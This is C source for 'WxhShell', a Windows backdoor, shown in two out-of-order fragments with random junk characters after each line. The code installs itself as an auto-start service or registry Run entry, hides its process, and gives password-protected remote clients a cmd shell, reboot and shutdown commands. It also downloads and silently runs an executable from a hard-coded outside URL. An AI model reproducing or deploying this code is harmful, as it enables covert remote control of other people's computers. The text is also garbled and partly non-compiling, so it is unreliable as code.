    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {,j6\Cj4  
    if(Boot(SHUTDOWN)) 7W9d6i)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mN5 8r"!J  
    else { Zx?b<"k  
    closesocket(wsh); yISD/ g  
    ExitThread(0); Q1&P@Io$  
    } npu6E;'l*  
    break; ftavbNR`W  
    } 3Gr&p6  
  // 获取shell "x&C5l}n  
  case 's': { {sv{847V  
    CmdShell(wsh); F[7x*-NO-  
    closesocket(wsh); qJT0Y/l:(  
    ExitThread(0); qq0?e0H  
    break; :PnSQjV:  
  } oeL5}U6>g  
  // 退出 ;<G<1+  
  case 'x': { I7\ &Z q  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); nyT[^n  
    CloseIt(wsh); mf|pNiQ,  
    break; }Ewo_P&`  
    } =ziy`#fm,  
  // 离开 (%Oe_*e}Y  
  case 'q': { 2+9 2Q_+  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +ydm,aKk  
    closesocket(wsh); U06o ;s(  
    WSACleanup(); XqR{.jF.  
    exit(1); ._p""'Sa  
    break; KLt %[$CTi  
        } dNV v4{S  
  } 0%)5.=6  
  } ]s|lxqP  
^ZQCIS-R  
  // 提示信息 h[ 6hM^n  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bEr.nF  
} ~'  =lou  
  } ZZ A.a  
R~B0+:6  
  return; {=At#*=A  
} BxX$5u  
`.k5v7!o  
// shell模块句柄 )hL^+Nn bR  
int CmdShell(SOCKET sock) qZ G-Lh  
{ "L~@.W!@  
STARTUPINFO si; :+kUkb-/  
ZeroMemory(&si,sizeof(si)); +|nsu4t,<  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 135Par5v  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; m(3);)d  
PROCESS_INFORMATION ProcessInfo; s%dF~DSK  
char cmdline[]="cmd"; B {i&~k  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Io+IRK  
  return 0; 6dT|;koWbm  
} (4)3W^/kk?  
owMuT^x?  
// 自身启动模式 8)Tj H'  
int StartFromService(void) tvWH04T  
{ rr>~WjZ3  
typedef struct \3 KfD'L  
{ 8D~Dd!~P  
  DWORD ExitStatus; >7FSH"8[,  
  DWORD PebBaseAddress; tq E>Zx=X  
  DWORD AffinityMask; dx359  
  DWORD BasePriority; px&=((Z7>  
  ULONG UniqueProcessId; gLCz]D.'  
  ULONG InheritedFromUniqueProcessId; *Yp qq  
}   PROCESS_BASIC_INFORMATION; w:tGPort  
`Wwh`]#"~d  
PROCNTQSIP NtQueryInformationProcess; O&P>x#w  
WRMz]|+}4  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; lIy/;hIc  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 0O ['w<_  
2wOy}:  
  HANDLE             hProcess; c20|Cx2m  
  PROCESS_BASIC_INFORMATION pbi; qi[(*bFK7  
&(\@sxAyZ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Alh?0Fk3)  
  if(NULL == hInst ) return 0; v=bv@c  
k*9%8yi_ U  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); d:$G|<uA  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9l=Fv6  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0XQ-   
AuM:2N2  
  if (!NtQueryInformationProcess) return 0; { ;' :h  
p d%LL?O  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); B#H2RTc  
  if(!hProcess) return 0; L3' \r  
f8F1~q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; a j_:|]j  
8I {56$  
  CloseHandle(hProcess); :6sGX p  
~)!VV)  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); K/A ? ]y  
if(hProcess==NULL) return 0; :Q#H(\26r  
n%8#?GC`  
HMODULE hMod; )muv;Rf`e5  
char procName[255]; =1&}t%<X  
unsigned long cbNeeded; :'b%5/ ^q  
FrgV@4'2G  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Fj48quW1\P  
n+S&!PB  
  CloseHandle(hProcess); ^K*~ <O-  
FL~9</  
if(strstr(procName,"services")) return 1; // 以服务启动 Wpa$B )xg  
k@lXXII ?  
  return 0; // 注册表启动 rGAFp,}-f  
} "Vq@bNtu+  
Xd5! Ti}  
// 主模块 1pl2;!  
int StartWxhshell(LPSTR lpCmdLine) `,Q<YT ~  
{ SSo~.)J  
  SOCKET wsl; cKSfqqPm$"  
BOOL val=TRUE; tgS+" ugl  
  int port=0; T\.7f~3  
  struct sockaddr_in door; U5 -zB)V  
939]8BERt  
  if(wscfg.ws_autoins) Install(); /6A:J]Q_  
j `w;z: G  
port=atoi(lpCmdLine); _g^E%@'W  
Y|Nfwqz  
if(port<=0) port=wscfg.ws_port; FDZeIj9uF  
=ulr_i%Xs  
  WSADATA data; 4/ 0/#G#j  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _-YL!oP  
]Sk#a-^~  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   zT2F&y q  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); DHSU?o#jY  
  door.sin_family = AF_INET; 1 NB2y[  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Q;d+]xj  
  door.sin_port = htons(port); zLE>kK  
A)~ /~  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { oR!n bm  
closesocket(wsl); cS. 7\0$  
return 1; ~t1O]aO(  
} )@sJTAK  
[w+yQ7P  
  if(listen(wsl,2) == INVALID_SOCKET) { w+URCj  
closesocket(wsl); ~m009  
return 1; m1M;'tT@  
} \pT^Zhp)  
  Wxhshell(wsl); _3-RoA'UZr  
  WSACleanup(); `lH1IA/3  
7<Z~\3x  
return 0; %5( EkP  
#3 }5cC8_  
} FkB6*dm-  
GF$rPY[  
// 以NT服务方式启动 "\wDS2M)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^59YfC<f  
{ YL0WUD_>  
DWORD   status = 0; /\oyPD`((  
  DWORD   specificError = 0xfffffff; S|O%h}AH;  
P@o,4\;K  
  serviceStatus.dwServiceType     = SERVICE_WIN32; \Nh^Ig   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; <s59OdzP  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; lN*1zM<6;  
  serviceStatus.dwWin32ExitCode     = 0; wz|Q%.%?[  
  serviceStatus.dwServiceSpecificExitCode = 0; c1Fru  
  serviceStatus.dwCheckPoint       = 0; GA%"w=M\  
  serviceStatus.dwWaitHint       = 0; xIq"[?m  
6qmo ZAg  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `W.vW8 !#  
  if (hServiceStatusHandle==0) return; TYmUPS$  
`CTkx?e[  
status = GetLastError(); |zRoXO`]-*  
  if (status!=NO_ERROR) p: Q%Lg_I  
{ CguU+8 ]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; )\:lYI}Wpm  
    serviceStatus.dwCheckPoint       = 0; y5Z<uwXc  
    serviceStatus.dwWaitHint       = 0; D!OG307P  
    serviceStatus.dwWin32ExitCode     = status; Aspj*CDu  
    serviceStatus.dwServiceSpecificExitCode = specificError; nEa'e5 lg  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); q:D0$YY0  
    return; %i]uW\~U  
  } NL>[8#  
zd*W5~xKg  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; qQ?,|4)y  
  serviceStatus.dwCheckPoint       = 0; 1,*Z_ F=y  
  serviceStatus.dwWaitHint       = 0; fs)q7 7g  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); CoKj'jA  
} hBYh90]  
4BUK5)B  
// 处理NT服务事件,比如:启动、停止 jP6oJcZ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6LF^[b/u  
{ C6;](rN)N  
switch(fdwControl) d q+7K  
{ ,~=z_G`R  
case SERVICE_CONTROL_STOP: l5N\> q  
  serviceStatus.dwWin32ExitCode = 0; ck4T#g;=  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; H(*=9  
  serviceStatus.dwCheckPoint   = 0; [gg 7Z|Hu  
  serviceStatus.dwWaitHint     = 0; vY+_tpuEH  
  { +oKpA\mz  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +%cr?g  
  } zLIa! -C  
  return; #uRq] 'P  
case SERVICE_CONTROL_PAUSE: WriJco<v  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 4'4s EjyA  
  break; {1-CfQ0 8  
case SERVICE_CONTROL_CONTINUE: .of:#~  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; \`iW__  
  break; f'?6D+Yw~  
case SERVICE_CONTROL_INTERROGATE: ~sU! 1  
  break; rc{[\1 -N  
}; I5<#SW\a?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); D*2p  
} =~2 Uv>YG  
\ ]e w@C  
// 标准应用程序主函数 uD*s^  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) v %PWr5]  
{ W;AWO0+  
Xe^=(| M  
// 获取操作系统版本 p/^\(/\])  
OsIsNt=GetOsVer(); @W5hrei  
GetModuleFileName(NULL,ExeFile,MAX_PATH); +\(ay"+ d  
]bU'G$Qm&s  
  // 从命令行安装 F8r455_W"  
  if(strpbrk(lpCmdLine,"iI")) Install(); OB I8~k  
sZP3xh[B  
  // 下载执行文件 \oZUG  
if(wscfg.ws_downexe) { 5]n<%bP\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Rb>RjHo S  
  WinExec(wscfg.ws_filenam,SW_HIDE); uJ5%JB("E  
} k2,oyUT=S  
=&g}Y  
if(!OsIsNt) { {O,M}0Eg  
// 如果时win9x,隐藏进程并且设置为注册表启动 M[3w EX^  
HideProc(); Ch&]<#E>`  
StartWxhshell(lpCmdLine); #WmAkzvq  
} z?> y  
else $Aoqtz d\  
  if(StartFromService()) WHj4#v(  
  // 以服务方式启动 X\)KVn`  
  StartServiceCtrlDispatcher(DispatchTable); H?bs K~  
else 9 8BBsjkd  
  // 普通方式启动 r^tXr[}  
  StartWxhshell(lpCmdLine); D$!p+Q  
$m0x8<7nu  
return 0; |l\/ {F  
} 9^*YYK}%  
d"`>&8*  
v2X0Px_  
Gy7x?  
=========================================== 8q[WfD  
nZ+5@( *  
<hC3#dNRd  
6@*;Wk~  
34M.xB   
J9t?]9.,:  
" yacGJz^f=  
;Sl0kSu  
#include <stdio.h> 0aoHv  
#include <string.h> *H<g9<Dn  
#include <windows.h> f<:SdtG5  
#include <winsock2.h> 5va&N<U  
#include <winsvc.h> V>j`  
#include <urlmon.h> ;mKU>F<V  
ew ,edU  
#pragma comment (lib, "Ws2_32.lib") n\al}KG  
#pragma comment (lib, "urlmon.lib") )7mJ+d[  
,$ret@.H  
#define MAX_USER   100 // 最大客户端连接数 *(.^$Iq4  
#define BUF_SOCK   200 // sock buffer b'"%   
#define KEY_BUFF   255 // 输入 buffer BjJ gQ`X  
i4C b&h^  
#define REBOOT     0   // 重启 lXy@Cf  
#define SHUTDOWN   1   // 关机 rX d2[pp  
;9\0x  
#define DEF_PORT   5000 // 监听端口 qinQ5t  
p<['FRf"  
#define REG_LEN     16   // 注册表键长度 zszx@`/3  
#define SVC_LEN     80   // NT服务名长度 HCy}'}d  
!h(0b*FUJ  
// 从dll定义API ~?+m=\  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ^K[tO54  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); V]cY+4Y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `g1~ya(MC  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $466? oI  
[cs8/Q8+  
// wxhshell配置信息 3goJ(XI  
struct WSCFG { ?q&mI*j!  
  int ws_port;         // 监听端口 [6qP;  
  char ws_passstr[REG_LEN]; // 口令 }=4".V`-o  
  int ws_autoins;       // 安装标记, 1=yes 0=no dAt[i \S  
  char ws_regname[REG_LEN]; // 注册表键名 {XW>:EU'N  
  char ws_svcname[REG_LEN]; // 服务名 v>PHn69PU  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 IsL/p3|  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 F+r6/e6a  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 bcs(#  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ^/,yZ:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7[ji,.7  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 AtYYu  
=Bx~'RYl1d  
}; pU/.|Sh  
DZZt%n8J  
// default Wxhshell configuration ( mMz]b5  
struct WSCFG wscfg={DEF_PORT, i*>yUav"  
    "xuhuanlingzhe", ,FO|'l  
    1, g"f^YEQ_  
    "Wxhshell", ,"ZlY}!Gn  
    "Wxhshell", -6>rR{z  
            "WxhShell Service", xb>+~59:  
    "Wrsky Windows CmdShell Service", YT8`Vz$+  
    "Please Input Your Password: ", @]4s&;  
  1, /Qy0vAvJ  
  "http://www.wrsky.com/wxhshell.exe", rJwJ5U  
  "Wxhshell.exe" N*W.V,6yH  
    }; Lo4t:H&  
e)7r  
// 消息定义模块 XPKcF I=  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; gV BV@v!W  
char *msg_ws_prompt="\n\r? for help\n\r#>"; OwUbm0)h^V  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; fOAb?:D  
char *msg_ws_ext="\n\rExit."; [8#l~ |U  
char *msg_ws_end="\n\rQuit."; Bw[VK7  
char *msg_ws_boot="\n\rReboot..."; +=4b5*+qG  
char *msg_ws_poff="\n\rShutdown..."; !vw0Y,F&  
char *msg_ws_down="\n\rSave to "; 9m4|1)  
I^=M>_ s4  
char *msg_ws_err="\n\rErr!"; jRc#>;dN  
char *msg_ws_ok="\n\rOK!"; 0jH2. d=  
O*7 pg  
char ExeFile[MAX_PATH]; GYO"1PM  
int nUser = 0; /8T{bJ5  
HANDLE handles[MAX_USER]; )1le-SC  
int OsIsNt; Ns(F%zkm  
$-73}[UA 4  
SERVICE_STATUS       serviceStatus; \)*qW[C$a  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; %3wK.tR  
5 B6:pH6e  
// 函数声明 ,@xZuq+K<  
int Install(void); v3Kqs:"\  
int Uninstall(void); PX] v"xf  
int DownloadFile(char *sURL, SOCKET wsh); #q%/~-Uk  
int Boot(int flag); f{0PLFj  
void HideProc(void); }J1#UH_E  
int GetOsVer(void); t*#T~3p  
int Wxhshell(SOCKET wsl); T=vI'"w  
void TalkWithClient(void *cs); ="4)!  
int CmdShell(SOCKET sock); *RhdoD|a  
int StartFromService(void); %0QYkHdFR`  
int StartWxhshell(LPSTR lpCmdLine); I6+5mv\  
,O(uuq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Rd/!CJ@g  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); S3w? X  
n7vi@^lf(  
// 数据结构和表定义 lOZZ-  
SERVICE_TABLE_ENTRY DispatchTable[] = h1$,  
{ }tN"C 3)@  
{wscfg.ws_svcname, NTServiceMain}, oID, PB*9  
{NULL, NULL} ~p&sd)  
}; rnUe/HjH  
oT OMqR{"  
// 自我安装 38 F8(QU{  
int Install(void) 70@:!HI]  
{ occ}|u  
  char svExeFile[MAX_PATH]; wXe.zLQ  
  HKEY key; HzV3O-Qz]  
  strcpy(svExeFile,ExeFile); *=rl<?tX  
L fhd02  
// 如果是win9x系统,修改注册表设为自启动 SyI#Q[f'_  
if(!OsIsNt) { {.v+ iSM  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1jR<H$aS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); w5p+Yx=q  
  RegCloseKey(key); ^VD14V3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *`[LsG]ZF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K=V)"v5o3  
  RegCloseKey(key); OvkYzI`  
  return 0; kAMt8  
    } yo5|~"yZY  
  } ,xGkE7=5  
} B|tP3<  
else { ral0@\T  
k7?(I U  
// 如果是NT以上系统,安装为系统服务 `3~w#?+=*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); b?z8Yp6  
if (schSCManager!=0) AyddkjX  
{ ~e|~c<!z8@  
  SC_HANDLE schService = CreateService gqE{  
  ( HghNI  
  schSCManager, rxO|k0x^C  
  wscfg.ws_svcname, Y`%:hvy~  
  wscfg.ws_svcdisp, /p~gm\5Z  
  SERVICE_ALL_ACCESS, *x$\5;A  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 6u7>S?  
  SERVICE_AUTO_START, n<MH\.!tM  
  SERVICE_ERROR_NORMAL, > >p3#~/  
  svExeFile, M*nfWQ a  
  NULL, DEIn:d  
  NULL, k@^)>J^  
  NULL, Ef69]{E  
  NULL, 5E$)Ip  
  NULL t ;(kSg.  
  ); N]gdS]pP2{  
  if (schService!=0) 2%QY~Ku~  
  { u>}k+8~  
  CloseServiceHandle(schService); m8.sHw  
  CloseServiceHandle(schSCManager); uGOvZO^v  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); DJhi>!xJ  
  strcat(svExeFile,wscfg.ws_svcname); |iJ37QIM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { dF"Sz4DY#  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~u3E+w  
  RegCloseKey(key); M '[.ay  
  return 0; lf&g *%?1  
    } (h%!Kun  
  } +c?1\{M   
  CloseServiceHandle(schSCManager); smJ%^'x  
} Iq MXd K|  
} dx?4)lb  
i!9yN: m0  
return 1; !h4L_D0  
} zxY  
jU/0a=h9  
// 自我卸载 Zj%l (OVq  
int Uninstall(void) &jr'vS[b  
{ __OD^?qa  
  HKEY key; *s} dtJ  
m z) O  
if(!OsIsNt) { ;CD@RP{$n  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { SnRk` 5t  
  RegDeleteValue(key,wscfg.ws_regname); j'g':U  
  RegCloseKey(key); %&0_0BU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { b$[O^p9x  
  RegDeleteValue(key,wscfg.ws_regname); })%WL;~  
  RegCloseKey(key); G<U MZg  
  return 0; U:"E:Bxz;m  
  } X H,1\J-S  
} A70x+mjy^T  
} 9v=5x[fE  
else { ^^1rjh1I  
_gxI=EYi  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); sE{A~{a`  
if (schSCManager!=0) |hk?'WGc`0  
{ \L Gj]mb1  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); i{vM NI{  
  if (schService!=0) fL>>hBCqC  
  { H:TRJ.!w2  
  if(DeleteService(schService)!=0) { $# klgiL  
  CloseServiceHandle(schService); PRa #; Wb  
  CloseServiceHandle(schSCManager); S2T~7-  
  return 0; }&M$  
  }  74i  
  CloseServiceHandle(schService); l.NV]up +  
  } KeFEUHU  
  CloseServiceHandle(schSCManager); C7:;<<"P  
} z]:{ruvH  
} kwF4I )6  
9M8 n  
return 1; u2}zRC=  
} I:?1(.kd2-  
OiAP%7i9  
// 从指定url下载文件 5F&xU$$a-  
int DownloadFile(char *sURL, SOCKET wsh) ?Zu2=<DU  
{ FtHR.S= u  
  HRESULT hr; <_(UAv  
char seps[]= "/"; {kVhht]X  
char *token; T$)N2]FE  
char *file; %\<SSp^n  
char myURL[MAX_PATH]; [Tmpj9! q  
char myFILE[MAX_PATH]; F6,[!.wl  
anxZ|DE  
strcpy(myURL,sURL); 2vbm=~)$F  
  token=strtok(myURL,seps); cG{>[Lf  
  while(token!=NULL) " b?1Yc-  
  { a8$gXX-2  
    file=token; ti%uyXfja  
  token=strtok(NULL,seps); , z8<[Q-#  
  } JzI/kH~  
E3%:7MB  
GetCurrentDirectory(MAX_PATH,myFILE); *?dw`j_b >  
strcat(myFILE, "\\"); % VZ QX_  
strcat(myFILE, file); afE`GG-  
  send(wsh,myFILE,strlen(myFILE),0); iPoh2  
send(wsh,"...",3,0); _\mMgZu  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =\uQGH  
  if(hr==S_OK) (4ueO~jb $  
return 0; -`knSR  
else PH$fDbC8  
return 1; VkKq<`t<  
B}Lz#'5_  
} 6h8fzqRzc  
2pu8')'P  
// 系统电源模块 Dj0`#~  
int Boot(int flag) Qqju6}+  
{ Dl/Jlsd@  
  HANDLE hToken; b d!|/Lk  
  TOKEN_PRIVILEGES tkp; `VJJ"v<L  
60*;a*cy  
  if(OsIsNt) { SY: gr  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); fYv= yP~  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5yC$G{yV  
    tkp.PrivilegeCount = 1; AL(YQ )-Cg  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !4gyrNS  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &2i3"9k  
if(flag==REBOOT) { /d<"{\o  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) E Ux kYl  
  return 0; 7soiy A  
} Hjho!np  
else { eJh4hp;x  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ` #!~+  
  return 0; ">?ocJ\9  
} e7fA-,DV  
  } qJ\tc\  
  else { >=<qAkk  
if(flag==REBOOT) { N|G=n9p  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7hQf T76h  
  return 0; qT U(]O1  
} Woo2hg-ti  
else { }M9R5!=q  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 5)%bnLxn  
  return 0; _'g'M=E  
} N;)Y+amg^  
} iymOq9  
ML6V,-KU  
return 1; 1Tn0$+$.4  
} ,}9G|$  
t")+ L{  
// win9x进程隐藏模块 'eKvt5&@  
void HideProc(void) !>%U8A  
{ jQrj3b.NC3  
%TO=]>q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :j sa.X  
  if ( hKernel != NULL ) caK<;bmu-  
  { MT`gCvoF4P  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); m -{t%[Y  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1-HL#y*7$  
    FreeLibrary(hKernel); D/T& 0  
  } f^ q0#+k)  
dMcCSwYh  
return; )p,uZ`~v  
} +3@d]JfMh  
jGM+  
// 获取操作系统版本 OHz>B!`  
int GetOsVer(void) i\4Qv"%  
{ 994   
  OSVERSIONINFO winfo; [31vx0$_p  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $jLJ&R=?]  
  GetVersionEx(&winfo); .d\<}\zZ7J  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) zjyj,jP  
  return 1; w|~d3]BqT  
  else ER z@o_  
  return 0; A578g  
} {l/]+8G^  
(IAc*V~  
// 客户端句柄模块 o6H\JCne  
int Wxhshell(SOCKET wsl) I'23$IzPA  
{ $_2S,3 }  
  SOCKET wsh; uO4kCK<7C  
  struct sockaddr_in client; RVlAWw(  
  DWORD myID; -3YsrcJi  
?q}XD c  
  while(nUser<MAX_USER) iQrTEp  
{ P'4oI0Bw  
  int nSize=sizeof(client); ? J;*  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0YMmWxV  
  if(wsh==INVALID_SOCKET) return 1; gq$]jWtCD  
O@.afk"{  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); W*'gqwM&  
if(handles[nUser]==0)  R~jV  
  closesocket(wsh); u )'l|Y  
else }]-SAM  
  nUser++; "IOu$?  
  } \u|8MEB  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); FZ!KZ!p  
}v0IzGKs  
  return 0; &hK5WP6whW  
} m?Gb5=qo  
2>s@2=Aq  
// 关闭 socket 'O#,;n  
void CloseIt(SOCKET wsh) ` ,B&oV>  
{ ?0Xt|  
closesocket(wsh); ^1&xt(G  
nUser--; .3(=U Q  
ExitThread(0); zTFfft<  
} 8[\(*E}d!X  
0:W*_w0Ge  
// 客户端请求句柄 7e,EI9?.  
void TalkWithClient(void *cs) 'o2V}L'nG  
{ G\ twx ;  
97H2hYw9l  
  SOCKET wsh=(SOCKET)cs; By3/vb)M5  
  char pwd[SVC_LEN]; gE,i Cx  
  char cmd[KEY_BUFF]; m"B)%?C#  
char chr[1]; O/gBBTB  
int i,j; |?c v5l7E  
.uAO k0^z  
  while (nUser < MAX_USER) { x\ : x`k@  
G0sg\]  
if(wscfg.ws_passstr) { TQx''$j\  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;SBM7fwRk  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); oa:GGW4Q  
  //ZeroMemory(pwd,KEY_BUFF); tS2P|fl  
      i=0; =2VM(GtK>  
  while(i<SVC_LEN) { RH,(8.&>r  
U!@3['  
  // 设置超时 YW@Ad  
  fd_set FdRead; 8-cB0F=j_  
  struct timeval TimeOut; -I1Ne^DZn4  
  FD_ZERO(&FdRead); r4}:t$  
  FD_SET(wsh,&FdRead); y8U|A0@$`  
  TimeOut.tv_sec=8; dZ UB  
  TimeOut.tv_usec=0; W,zlR5+Jk  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >6XGF(G   
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); mw<LNnT{8  
X*F#=.lh  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =G*rfV@__V  
  pwd=chr[0]; &6/# O  
  if(chr[0]==0xd || chr[0]==0xa) { N|eus3\E  
  pwd=0; imdfin?=   
  break; 9C5w!_b@  
  } kV7c\|N9  
  i++; /nEh,<Y)  
    } /H+j6*}r  
Mn(:qQo^&`  
  // 如果是非法用户,关闭 socket Lwgk}!KR  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -yt[0  
} 3_(fisvx  
4{rwNBj(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); hV_eb6aj}P  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rlYAy5&  
|+//pGx  
while(1) { R9gK>}>Y  
t?9F2rh  
  ZeroMemory(cmd,KEY_BUFF); SP9_s7LL  
*a xOen  
      // 自动支持客户端 telnet标准   MyZ@I7Fb,  
  j=0; #SQao;>  
  while(j<KEY_BUFF) { =LHE_ AA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^B2>lx\n  
  cmd[j]=chr[0]; Le"$ksu>  
  if(chr[0]==0xa || chr[0]==0xd) { /N+*=LIK I  
  cmd[j]=0; e!*d(lHKos  
  break; mM"!=' z  
  } hVRpk0IJDK  
  j++; ~4o2!!^tI  
    } F+Og8^!  
 ^G{3x  
  // 下载文件 [ aj F  
  if(strstr(cmd,"http://")) { g"|QI=&_J  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); uJ,>Y# ?  
  if(DownloadFile(cmd,wsh)) >6 [{\uPK  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]ERPWW;^  
  else 7Zp'}Om<I  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $6 \v1  
  } dK,j|  
  else { xN0n0  
wI\v5&X-B  
